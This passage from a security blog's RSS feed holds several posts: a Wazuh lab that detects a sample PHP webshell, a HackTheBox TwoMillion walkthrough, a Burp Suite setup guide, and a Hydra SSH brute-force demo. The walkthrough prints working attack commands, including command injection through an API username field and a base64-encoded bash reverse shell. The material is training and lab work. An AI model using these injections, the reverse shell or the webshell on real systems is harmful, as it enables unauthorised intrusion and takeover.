your ossec.conf file with xmllint. It will identify configuration errors and point you in the right direction.</blockquote><h4><strong>Executing Attacks</strong></h4><p>In order to simulate and view our attacks in Wazuh we need to place agents on both the attacker and victim machines to monitor their activity. <a href="https://medium.com/@DatBoyBlu3/introduction-to-wazuh-the-open-source-security-platform-part-1-643a9838b5d4"><strong>Check out my first article in this series to learn how</strong></a><strong>.</strong></p><p>We’ll also be using real malware from these <a href="https://github.com/Virus-Samples/Malware-Sample-Sources">sources</a>. <strong><em>Please be VERY careful when executing these and ensure your virtual machines are not touching your main network!</em></strong></p><p><strong>Test 1: Eicar file</strong></p><p>On the Ubuntu machine, execute the curl command in the downloads folder. I’ve also demonstrated how quickly Wazuh removes the eicar file in the gif following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2709FWrfD8UqozcbTC6wig.gif" /></figure><pre>curl -LO https://secure.eicar.org/eicar.com &amp;&amp; ls -lah eicar.com</pre><ul><li>Wazuh detected the file being downloaded in the /home/dan directory</li><li>Virus Total alert was generated, indicating 66 detection engines detected the file. MiTRE technique T1203</li><li>File was deleted, showing the tactics, techniques and sub techniques utilized</li><li>Active response script, remove-threat.sh, activated and removed the file</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GTdfkKhFFOKg9ewbKuf-kA.gif" /><figcaption>Wazuh detecting and removing eicar file</figcaption></figure><p><strong>Test 2: PHP Webshell</strong></p><p>Use the following code from github.com/joswr1ght to test webshell detection and removal</p><pre>&lt;html&gt;<br>&lt;body&gt;<br>&lt;form method=&quot;GET&quot; name=&quot;&lt;?php echo basename($_SERVER[&#39;PHP_SELF&#39;]); ?&gt;&quot;&gt;<br>&lt;input type=&quot;TEXT&quot; name=&quot;cmd&quot; autofocus id=&quot;cmd&quot; size=&quot;80&quot;&gt;<br>&lt;input type=&quot;SUBMIT&quot; value=&quot;Execute&quot;&gt;<br>&lt;/form&gt;<br>&lt;pre&gt;<br>&lt;?php<br>    if(isset($_GET[&#39;cmd&#39;]))<br>    {<br>        system($_GET[&#39;cmd&#39;]);<br>    }<br>?&gt;<br>&lt;/pre&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>src: <a href="https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985">https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tOVS8jFLYi9ofId5u7AdHg.gif" /><figcaption>source: <a href="https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985#file-easy-simple-php-webshell-php">easy-simple-php-webshell.php</a></figcaption></figure><p>The last four alerts are generated for the download, though it took a tad bit longer to analyze and remove the php shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OhFR2W-BvPQmG53Qr_uC3w.png" /></figure><h4><strong>Conclusion</strong></h4><p>We’ve tested Wazuh’s detection capabilties integrated with VirusTotal and I have to say, I’m quite impressed. This integration is quite powerful, I may make a future edit to see what else this integration can detect, configure it to monitor other directories etc.,. If you have any ideas, questions, comments and/concerns, please let me know!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e0046c93bc28" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox: TwoMillion]]></title>
            <link>https://medium.com/@DatBoyBlu3/hackthebox-twomillion-ab20b57c600e?source=rss-a5d809917ed2------2</link>
            <guid isPermaLink="false">https://medium.com/p/ab20b57c600e</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[certification]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Daniel Edwards]]></dc:creator>
            <pubDate>Tue, 05 Sep 2023 06:02:01 GMT</pubDate>
            <atom:updated>2023-09-05T06:02:01.485Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yJ0ie28D8z-fMMAnKqFPEw.png" /><figcaption>Source: freepik</figcaption></figure><p>Hello everyone! Today I will be covering the TwoMillion challenge from HackTheBox. This machine is one of their retired boxes and as such walkthroughs and a guided approach are available, if you ever decide to attempt it. TwoMillion is rated as an “Easy” box, however, that is subjective. It did help me learn a lot more about cURL! I referenced <a href="https://reqbin.com/req/c-1n4ljxb9/curl-get-request-example">reqbin.com</a> MANY times to help me get over the hump.</p><h4>*Disclaimer*</h4><p>As always, my walkthroughs will be giving away EVERYTHING. I want people to learn as much as possible and not be an impediment to their learning, so therefore my walkthroughs are completely, 100% transparent. This does not mean you can just copy what I did, use it to facilitate your learning and form your own techniques.</p><h4>Techniques Covered</h4><ul><li>Nmap Scanning</li><li>Modifying local DNS Service</li><li>Directory Brute Forcing</li><li>Inspecting Web Site Source</li><li>cURL Commands</li><li>Ciphers</li><li>Making API Requests</li><li>base64 Encoding/Decoding</li><li>SSH</li><li>Transfering Files via SCP</li></ul><h4>NMAP Scanning</h4><p>Kicked things off with the following nmap scan</p><pre>sudo nmap 10.10.11.221 -sV -A -Pn -sC</pre><blockquote>-sV : Get the service version</blockquote><blockquote>-A: Will also get the service version but also the OS name, if available</blockquote><blockquote>-sC: Get all default NSE scripts</blockquote><p><strong>nmap Results</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hoo1RoN9Gb3Y0zffWs1v0Q.png" /></figure><ul><li>SSH port 22/TCP is open</li><li>Port 80 is open with the following message: “Did not follow redirect to http://2million.htb”</li></ul><p>We now know that <a href="http://2million.htb/">http://2million.htb</a> is available via port 80, however, there’s something we have to do to ensure it’s accessible — edit our /etc/hosts file with the target IP and the site name.</p><p><strong>Edit /etc/hosts File:</strong></p><pre>echo &quot;10.10.11.221 2million.htb&quot; | tee -a /etc/hosts</pre><blockquote>-echo “10.10.11.221 2million.htb” : specifies the text to insert</blockquote><blockquote>-tee: reads the standard input into /etc/hosts</blockquote><blockquote>-a: appends the text to the end of /etc/hosts</blockquote><p><strong>Browse to the web site:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1XnsWR_xVM0kWT3M5MrniA.png" /><figcaption>We are directed to the landing page</figcaption></figure><p>We’ll also enumerate all directories we have access to via feroxbuster</p><p><strong>Directory Brute Forcing:</strong></p><pre>feroxbuster -u http://2million.htb -s 200</pre><blockquote>-u specifies the URL</blockquote><blockquote>-s specifies the HTTP status code, here we want to see nothing but the 200&#39;s</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*L-pk3BtWvsEW0wcDVcpOXg.png" /></figure><p>Pages we have access to: register, login and invite. Nothing interesting from the first two pages, unto the invite page. Inspect the web page and select Debugger. Prettify the htb-frontend.min.js and inviteapi.min.js so you can make the code more readable. In the inviteapi.min.js file, the return statement contains some interesting data. There appears to be a few functions being called, verifyInviteCode and makeInviteCode. How do I know these are functions? Well for one, the naming style. It’s similar to camel case. Those two are also the only items that describe an action.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s4Am_8row0z5mw-6Bu4dAA.png" /></figure><p>How do I know these are functions? Well for one, the naming style. It’s in camel case. Those two function names are also the only items that describe an action.</p><p>Ok, now we need to find where else these functions are referenced or better yet, find the file that contains their code blocks. Copy and paste one of them in search bar in the left pane and you will find the function blocks!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*aSBJ6hZGT-pNSoLrqw5WfA.png" /></figure><p>Here we see that both are making POST requests to verify and generate the invite code. What tool can we use to send a POST request and query the server? Curl!!</p><h4>Making API Requests via cURL</h4><pre>curl -sX POST http://2million.htb/api/v1/invite/verify</pre><blockquote>-s: mutes curl, does not show progress or error messages<br>-X: is the request method<br>-POST: this is the request method we’re using, since we’re sending data to the server</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*vuzRD66Q1j3BkDYc62LF9g.png" /></figure><p>This first cURL API request doesn’t yield anything, unto to the second.</p><pre>curl -sX POST http://2million.htb/api/v1/invite/how/to/generate</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*_q8cw3ucHhsXftrcNbGeWA.png" /></figure><p>What does this message tell us?<br> — We have an encrypted message<br> — Encryption type is ROT13, given by “encytpe:ROT13”<br> — Hint — “Data is encrypted…We should probably check the encryption type in order to decrypt it..”</p><p>Google ROT13, find the website and go to it. ROT13.com, throw the message in the dialog box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*VDc4NiP37gFnh5kBQajxxg.png" /><figcaption>ROT13: <a href="https://en.wikipedia.org/wiki/ROT13">https://en.wikipedia.org/wiki/ROT13</a></figcaption></figure><p>We get another message “In order to generate the invite code, make a POST request to \/api\/v1\/invite\/generate”. Make another POST request to the specified API address.</p><pre>curl -sX POST http://2million.htb/api/v1/invite/generate</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*_gHmjGp3IsaSLhCxT5auwg.png" /></figure><p>Here we see what appears to be a base64 encoded string, now decode it with base64 -d</p><pre>echo &quot;OE5QVTMtMFRCUDEtTDZIN0QtOTBXQTA=&quot; | base64 -d </pre><p>Decoded result: 8NPU3–0TBP1-L6H7D-90WA0….this is the invite code!</p><p>Now let’s see if it works, go back to the invite page and submit the invite code. You will then be able to register<br>- I used user for the username and password. <br>- Use <a href="http://twitter.com/hackthebox">@hackthebox</a>.htb for the email domain just to be safe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/1*W69xx7fXGv5FJmkSrj-GNQ.png" /></figure><p>And we’re in!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CqTI8sOaCVzYYtCYygi-4Q.png" /></figure><p>Go the the “Access” page. Fire up burpsuite. Download the opevpn ovpn file by selecting “Connection Pack” and observe burpsuite. If you don’t know how to operate burpsuite, check out my <a href="https://medium.com/@DatBoyBlu3/burp-suite-and-foxy-proxy-setup-67d5c1d86f8c">initial set up guide</a> to get up to speed!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*tNaPO7XBzJKmO8hWtytJ6g.png" /></figure><p>Burp intercepts the request and shows us an API call to generate the vpn connection for the user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8j2NnLYspITkVx1Yjl29Pw.png" /></figure><p>Burp shows us there is an API address to generate the VPN certificate, so issue another cURL request with that address</p><pre>curl -sX POST http://2million.htb/home/access/api/v1/user/vpn/generate</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/475/1*_O17fd2h6js9MJ55EjDiqg.png" /></figure><p>Here we see the page has been moved. Using the cookie found when intercepting the request with burp, make another curl request up to the /user level</p><pre>curl --cookie &quot;PHPSESSID=jgfva48frp29fvdlt5ns0q3lmh&quot; -sv http://2million.htb/api/v1/user</pre><blockquote>- -cookie: Cookies are passed to Curl with the — cookie “Name=Value” command line parameter</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/508/1*5-sSpVA-Rv7sp67wdAuCrw.png" /></figure><p>Go back one level to /v1…same response. Go back one more, to /api and…Success!!</p><pre>curl --cookie &quot;PHPSESSID=jgfva48frp29fvdlt5ns0q3lmh&quot; -sv http://2million.htb/api/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*3403LsXPdLknfpAaWfqM-A.png" /></figure><p>Now, return one level forward:</p><pre>curl --cookie &quot;PHPSESSID=jgfva48frp29fvdlt5ns0q3lmh&quot; -sv http://2million.htb/api/v1 | jq</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*ZwrznQ4cx1JR2curkrQagg.png" /></figure><p>The API call to /api/v1 shows us the instructions for generating an invite code for a regular user, registering a new user and determining if the user is admin. Make a curl request to /api/v1/admin/settings/update, but note the method change. PUT will be used instead of the POST because that is the method required to make the update api call:</p><pre>curl --cookie &quot;PHPSESSID=jgfva48frp29fvdlt5ns0q3lmh&quot; -vX PUT http://2million.htb | jq</pre><p>We get a 200 OK message, the page is accessible to us! However, look at the message we received at the end. The “Invalid content type”, tells us it’s expecting a JSON type. Run the command again but specify the JSON as the application/json type:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*_LutxWmAwO6Lw6o8Ys-mKQ.png" /></figure><p>After running take a look at the message again, “Missing parameter: email”. Input your email with the curl command:</p><pre>curl --cookie &quot;PHPSESSID=jgfva48frp29fvdlt5ns0q3lmh&quot; -vX PUT http://2million.htb/api/v1/admin/settings/update -H &quot;Content-Type: application/json&quot; -d &#39;{&quot;email&quot;:&quot;user@hackthebox.htb&quot;}&#39; | jq</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*KNFvQahYUJrv6B_3-LK8zQ.png" /></figure><p>It’s asking if we’re the admin, so run another curl with this item set to true in the request:</p><pre>curl --cookie &quot;PHPSESSID=jgfva48frp29fvdlt5ns0q3lmh&quot; -vX PUT http://2million.htb/api/v1/admin/settings/update -H &quot;Content-Type: application/json&quot; -d &#39;{&quot;email&quot;:&quot;user@hackthebox.htb&quot;, &quot;is_admin&quot;:true}&#39; | jq</pre><p>You’ll receive an error message stating “Variable is_admin needs to be either 0 or 1”…so, you know what to do…</p><pre>curl --cookie &quot;PHPSESSID=jgfva48frp29fvdlt5ns0q3lmh&quot; -vX PUT http://2million.htb/api/v1/admin/settings/update -H &quot;Content-Type: application/json&quot; -d &#39;{&quot;email&quot;:&quot;user@hackthebox.htb&quot;, &quot;is_admin&quot;:1}&#39; | jq</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*oo-kUTkBl3yr-1YvMNqbNA.png" /></figure><p>We’ve now verified ourselves as the admin. Running the following, we determine this to be true:</p><pre>curl --cookie &quot;PHPSESSID=jgfva48frp29fvdlt5ns0q3lmh&quot; -sv http://2million.htb/api/v1 | jq</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*M66nqX27YcrAyrpz8Y24pQ.png" /></figure><p>Verified user is the admin. Generate a vpn certificate for this user:</p><pre>curl --cookie &quot;PHPSESSID=jgfva48frp29fvdlt5ns0q3lmh&quot; -vX POST http://2million.htb/api/v1/admin/vpn/generate -H &quot;Content-Type: application/json&quot; -d &#39;{&quot;email&quot;:&quot;user@hackthebox.htb&quot;, &quot;is_admin&quot;:1}&#39; | jq</pre><p>New error message “Missing parameter: username”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*BqoU3Gdbr89AsnGxU4HfXQ.png" /></figure><p>Another attempt at generating the VPN certificate…</p><pre>curl --cookie &quot;PHPSESSID=jgfva48frp29fvdlt5ns0q3lmh&quot; -vX POST http://2million.htb/api/v1/admin/vpn/geanerate -H &quot;Content-Type: application/json&quot; -d &#39;{&quot;email&quot;:&quot;user@hackthebox.htb&quot;, &quot;is_admin&quot;:1, &quot;username&quot;:&quot;user&quot;}&#39; </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*erwQl6VifoI9xdBDvz2Siw.png" /></figure><p>These parameter values are going through some type of validation/verification. There’s a mechanism in place that may not be checking for dangerous characters. Append ;ls; to the end of the username and see what we get:</p><pre>curl --cookie &quot;PHPSESSID=jgfva48frp29fvdlt5ns0q3lmh&quot; -vX POST http://2million.htb/api/v1/admin/vpn/generate -H &quot;Content-Type: application/json&quot; -d &#39;{&quot;email&quot;:&quot;user@hackthebox.htb&quot;, &quot;is_admin&quot;:1, &quot;username&quot;:&quot;user;ls;&quot;}&#39;</pre><p>It listed several files!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*vzJOTF-3DMWfR7ml3iyF_Q.png" /></figure><p>Find the user flag</p><pre>curl --cookie &quot;PHPSESSID=jgfva48frp29fvdlt5ns0q3lmh&quot; -vX POST http://2million.htb/api/v1/admin/vpn/generate -H &quot;Content-Type: application/json&quot; -d &#39;{&quot;email&quot;:&quot;user@hackthebox.htb&quot;, &quot;is_admin&quot;:1, &quot;username&quot;:&quot;user;find / -type f -name user.txt;&quot;}&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*11wR0l4ORaosPIl74YAdjw.png" /></figure><p>Using the find command, we’ve found the user.txt flag, however, when I tried cat’ing the file, nothing worked.</p><h4>Shell Access</h4><p>Use <a href="https://highon.coffee/blog/reverse-shell-cheat-sheet/">highoncoffee</a> for all your reverse shell needs! Encrypt your reverse shell with base64. Initiate your netcat listener and execute your reverse shell.</p><pre>curl --cookie &quot;PHPSESSID=jgfva48frp29fvdlt5ns0q3lmh&quot; -vX POST http://2million.htb/api/v1/admin/vpn/generate -H &quot;Content-Type: application/json&quot; -d &#39;{&quot;email&quot;:&quot;user@hackthebox.htb&quot;, &quot;is_admin&quot;:1, &quot;username&quot;:&quot;user;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi41Lzk5OTkgMD4mMQo= | base64 -d | bash ;&quot;}&#39;</pre><p>And we have a shell!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/1*ZqRkJkh2BuS2_VmkYuFNvw.png" /></figure><h4>User Flag</h4><p>When performing the injection we saw that there were a number of php files. Nothing is hard coded in them but let’s see what else is in this directory. Performing an ls -la will reveal a .env file, cat the file and the credentials for the admin will be displayed</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*RuJbDqR1Ni6tAFf8q3A_cA.png" /></figure><p>Our initial nmap scan showed that port SSH is also open. Attempt an SSH connection with these credentials the target box — 10.10.11.221 with the recently found admin credentials:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*WjerEpSoor4KOgPL2o4nWg.png" /></figure><p>Look in the /var/mail for an email sent to the admin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*dlfuoz2B8OTUZzX-U9GbcQ.png" /></figure><ul><li>There’s a Linux kernel exploit that affects the OverlayFS/FUSE<br>- DataDog gives a good prem analysis on it, along with some detections<br><a href="https://securitylabs.datadoghq.com/articles/overlayfs-cve-2023-0386/">https://securitylabs.datadoghq.com/articles/overlayfs-cve-2023-0386/</a><br>- Grab the CVE and search for it in GitHub. GitHub is an resource for finding working exploits<br>- Transfer the file, I chose to use scp since I already have the password for the target’s admin account. Else, I’ve would’ve used python’s simple http server and wget to grab the file on the victim end</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*8tNYVfqezeSZ3k955haNsA.png" /></figure><p>Execute the bash file and you’ve got root! Now go to the root folder for the flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*edfQ0yn6W1Tn2IpA3wn7iw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ab20b57c600e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Burp Suite and Foxy Proxy Setup]]></title>
            <link>https://medium.com/@DatBoyBlu3/burp-suite-and-foxy-proxy-setup-67d5c1d86f8c?source=rss-a5d809917ed2------2</link>
            <guid isPermaLink="false">https://medium.com/p/67d5c1d86f8c</guid>
            <dc:creator><![CDATA[Daniel Edwards]]></dc:creator>
            <pubDate>Tue, 05 Sep 2023 05:18:46 GMT</pubDate>
            <atom:updated>2023-09-05T05:19:56.350Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ef3IjDXFS0doD8cZ_-i3yw.jpeg" /></figure><h4>Intro</h4><p>Burp Suite is a proxy application used to test the funcationality and monitor traffic of web applications. It’s often used in penetration tests and red teaming engagements to subvert and manipulate web traffic. It can also be paired with a FireFox browser extension/add-on called FoxyProxy, that simplifies configuring the proxy on browsers as the one mentioned, Chrome and others.</p><p>To enable your browser to work with Burp Suite and FoxyProxy we must configure the FoxyProxy add-on, adjust your browser network settings to accept the proxy connect and install Burp’s CA certificate.</p><h4>FoxyProxy Configuration</h4><ol><li>First, let’s install FoxyProxy, which can be found <a href="https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/">here</a>.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*45HEB8EsZWhnPEmLeLWYRQ.png" /><figcaption><a href="https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/">FoxyProxy</a></figcaption></figure><p>2. When the extension is installed, click on the icon and select “Options”. Then select “Add” in the upper, left corner.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7NXy_oVZHdKW4D6Ybi8YPQ.png" /><figcaption>I already have it configured with Burp, that’s why you’ll see it listed here with the green pallet</figcaption></figure><p>3. Copy the same values I have listed here, unless you want to customize. Save and close. Now we will enable FireFox’s Network settings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E_LBKoPSWnWbgGuuYm8Zkw.png" /></figure><h4>FireFox Network Proxy</h4><ol><li>In FireFox open the select the hamburger icon and select “Settings”.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vgiJcyj2LOvetFN0Di6E-w.png" /></figure><p>2. In the search bar type “Proxy”. This will take us directly to the network settings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8cbXQfA7vaTgnFFE6xBOww.png" /></figure><p>3. Scroll down to “Manual proxy configuration”. Copy the same settings, unless you want to customize, then select OK.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bys2Wq5TX2c6zcpM7e8s4g.png" /></figure><h4>Install Burp Suite CA Certificate</h4><ol><li>Install burp suite via the command line.</li></ol><pre>apt-get install burpsuite</pre><p>2. Start Burp and type <a href="http://127.0.0.1:8080/">http://127.0.0.1:8080</a> into the URL bar. Then download the CA certificate in the upper right corner.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GWhmura7MOtHqmttjlSfJw.png" /></figure><p>3. Going back to the FireFox settings, type “certificates” in the search bar. When the Certificate Manager appears, select “Import” and upload the certificate you just downloaded</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1X_9MVbyT__CpM-9B48H_g.png" /></figure><h4>Test Your Setup</h4><p>Now we will verify that our configurations were properly enabled. First, ensure FoxyProxy is turned on, FireFox is using the Manual proxy configuration and Burp is running with “Intercept is on” enabled. With all these enabled, attempt to go to any web site your request will be intercept like the below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lTPb5jwFaeuzTv-RswiiLA.png" /><figcaption>Here I attempted to go to ign.com</figcaption></figure><h3>Conclusion</h3><p>And there you have it! I would highly recommend you check out TryHackMe’s Burp Suite module. It will introduce you to more of Burp’s components and get familiary with all their incredibly useful modules. Until next time, take care!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=67d5c1d86f8c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Blue Teaming with Wazuh Part 2: Attacks & Alerts]]></title>
            <link>https://systemweakness.com/introduction-to-wazuh-part-2-attacks-defenses-e8a7be995480?source=rss-a5d809917ed2------2</link>
            <guid isPermaLink="false">https://medium.com/p/e8a7be995480</guid>
            <dc:creator><![CDATA[Daniel Edwards]]></dc:creator>
            <pubDate>Tue, 15 Aug 2023 11:47:22 GMT</pubDate>
            <atom:updated>2024-01-21T12:42:26.044Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n4ih0_BLkTUtgb-I_0Bg0A.jpeg" /></figure><h3>Table of Contents</h3><h4><a href="#aee7">Overview</a><br>· <a href="#f575">Review</a><br> ∘<a href="#57a7">Default Dashboard</a><br> ∘ <a href="#8154">MITRE Dashboard</a><br>· <a href="#a5ad">Executing Attacks</a><br> ∘ <a href="#db3b">Brute Forcing SSH</a><br> ∘ <a href="#18e1">Active Response</a><br> ∘ <a href="#4935">Slack Alerts</a><br>· <a href="#25c7">Conclusion</a></h4><p>Hello everyone and welcome back to part II of the ‘Introduction to Wazuh’ series. Ever wondered who issued those connection requests? Why are those connection requests going to unfamiliar domains? How can I protect my network/systems from intrusive network scans? All these questions can be answered with Wazuh and some third party integrations! These posts are geared towards folks fairly new to the field and as such, I will take my time explaining a few concepts and tools. Everyone started somewhere and we’re all still learning, now onwards!</p><p>Today we will be covering carrying out brute force login attacks for remote services and configuring alerts/detections! The basic flow of this post will be reviewing the Wazuh components and how they help us identify badness, executing said badness with various machines and implementing the necessary defenses and mitigations to thwart attacks.</p><h3>Review</h3><p>Before we dive into the juicy portion of today’s post, let’s do a quick a review of Wazuh’s key features that will help us familiarize those threats!</p><h4>Default Dashboard</h4><p>Wazuh’s default dashboard contains analytics and visualizations for the top 5 alerts, overall alerts and failed authentications.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-RbcGOQOUz4leF7x2VYCfw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GdS0zaeabxxXoV4KOqN7EA.png" /><figcaption>Wazuh also integrates with the MITRE ATT&amp;CK Framework</figcaption></figure><p>These alerts originate from the Suricata machine. Let’s click on one of these techniques within the event alerts and see what data we can find. Here we can see the details:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ikydxFWtSmeaxtPqEyWF8Q.png" /></figure><ul><li>Technique: T1565.001</li><li>Name(s): APT38, Lazarus Group</li><li>Country of Origin: North Korea</li></ul><p>Honing in on an adversary’s TTPs (tactics, techniques and procedures) allows you to profile their behavior and tailor defensive measures against them. Writing detection engineering rules to key their activity is a fine art as their tactics will change. So it’s important that your rules are flexible and key on behavior as well has hard facts.</p><h4>MITRE Dashboard</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6Pth0aZrHBKUOXKMSVm5Ow.png" /></figure><p>Depicted here are alerts for each type of attack captured, the tactics used to gain access, evade defenses, techniques each wazuh agent showcased and the number of attacks by technique. Capturing this activity and comparing it to a baseline of normal activity can help you lower false positives and create more efficient detection rules.</p><h3>Executing Attacks</h3><h4>Brute Forcing SSH</h4><p>We’re going to use the Hydra tool to simulate a brute force attack with a fake username. Hydra is a an open-source password cracking tool often used against HTTP/HTTPS, Telnet, SMTP, POP3, SSH and many other services. To learn more about it, check out this awesome blog post by @Cuncis <a href="https://medium.com/@cuncis/hydra-a-powerful-tool-for-password-cracking-and-network-security-testing-cheat-sheet-6573b74071ee">Hydra: A Powerful Tool for Password Cracking and Network Security Testing</a></p><pre>sudo hydra -t 4 -V -f -l RedBeardDan -P /usr/share/wordlists/rockyou.txt 192.168.2.207 ssh</pre><p>Command Syntax:</p><ul><li>-t run TASKS number of connects in parallel</li><li>-V verbose mode / show login+pass combination for each attempt</li><li>-f exit after the first found login/password pair (per host if -M)</li><li>-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE. In this case I am using a fake username, <em>RedBeardDan</em></li><li>-P PASS or -P FILE try password PASS, or load several passwords from FILE. Here I am specifying the rockyou.txt wordlist</li><li>192.168.2.207 specifies the target IP address</li><li>ssh specifies the targeted service</li></ul><p>We’ll run the hydra from our attacker machine, Kali, against the victim machine, 192.168.2.207. On the victim we’ll initiate tcpdump to capture the traffic and store it in a pcap (packet capture).</p><blockquote>It is paramount to build the necessary skills to analyze pcap data and decipher the traffic in order to understand the story behind what’s going on. That way in the absence of third party tools such as Wazuh or Splunk, you can still rely on your skills to get the job done. Let the tools aid you in your research, don’t let it become a crutch.</blockquote><p><strong>Kali attack</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y2vKeIDRh66dGtyFp2cSOA.png" /><figcaption>Here you can see the results of hydra as well as the fake username being paried with the passwords in the rockyou.txt file</figcaption></figure><p><strong>tcpdump capture</strong></p><p>In the second box highlighted, we see the direction of traffic flow from ZeroSigma (my Kali, attacker box) to target1(the Ubuntu target) via SSH</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fqSShQQb_E4IxxQLmJVf9Q.png" /><figcaption>Pay attention to this screen capture. The second red box captures the direction of traffic from my attacker, ZeroSigma to the victim Ubuntu machine, target1</figcaption></figure><p>tcpdump syntax</p><pre>sudo tcpdump -i ens160 src host 192.168.2.215 and dst port 22</pre><p>What is tcpdump doing here?</p><ul><li>Listening/sniffing on interface ens160</li><li>Listening for traffic coming from source host 192.168.2.215</li><li>And listening on destination port 22 for an SSH connection from that source host</li></ul><blockquote>If we wanted to capture this traffic in a pcap we would add -w name_of_file to the end of the command. Additionally, concatenate, — print to display the traffic being caught</blockquote><p>In the second box highlighted, we see the direction of traffic flow from ZeroSigma (my Kali, attacker box) to target1(the Ubuntu target) via SSH.</p><p><strong>Wazuh Detection</strong></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fy-oCcQ1ceAY%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dy-oCcQ1ceAY&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fy-oCcQ1ceAY%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/b1dfddcb563b4596fed6ecf9a836d765/href">https://medium.com/media/b1dfddcb563b4596fed6ecf9a836d765/href</a></iframe><p>In the video we can see login attempts from non-existent user, the failed attempts and how the host responded to said attempts. Look in the “Description” column of the security alerts. You will see “sshd: Attempt to login using a non-existent user”. These actions by the attacker triggered rule ID 5710. This is a rule configuration in the Manager that tells Wazuh to drop traffic from 